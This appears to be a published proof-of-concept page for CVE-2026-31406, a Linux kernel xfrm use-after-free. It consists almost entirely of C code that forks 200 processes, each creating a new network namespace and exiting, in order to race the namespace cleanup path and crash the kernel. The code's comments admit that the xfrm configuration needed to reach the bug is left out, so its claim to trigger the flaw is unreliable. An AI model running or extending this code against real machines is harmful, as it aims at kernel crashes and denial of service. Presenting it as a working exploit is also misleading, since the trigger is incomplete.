CVE-2026-31406 Linux内核xfrm释放后重用漏洞

/* * PoC for CVE-2026-31406: Linux Kernel xfrm UAF * This code attempts to trigger the race condition by rapidly * creating and destroying network namespaces to stress the * xfrm_nat_keepalive_net_fini cleanup path. * * Compile: gcc -o poc_cve2026_31406 poc_cve2026_31406.c * Usage: ./poc_cve2026_31406 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/wait.h> #include <string.h> void trigger_vuln() { // Create a new network namespace to isolate the test if (unshare(CLONE_NEWNET) != 0) { perror("unshare failed"); return; } // In a real exploit scenario, specific xfrm states would be configured // here using netlink messages to ensure the nat_keepalive_work is active. // This simplified PoC relies on the existence of default behavior or // previous configuration to trigger the path during cleanup. // Trigger the cleanup path by exiting the process // This calls cleanup_net() -> xfrm_net_exit() -> ... exit(0); } int main(int argc, char **argv) { printf("[+] Starting PoC for CVE-2026-31406\n"); printf("[+] Spawning processes to trigger race condition...\n"); pid_t pid; int i; // Fork multiple processes to increase the likelihood of hitting the race for (i = 0; i < 200; i++) { pid = fork(); if (pid == 0) { // Child process triggers the vulnerability trigger_vuln(); } else if (pid < 0) { perror("fork failed"); break; } } // Wait for all child processes to complete while (wait(NULL) > 0) { } printf("[+] PoC execution finished. Check dmesg for kernel crashes or UAF warnings.\n"); return 0; }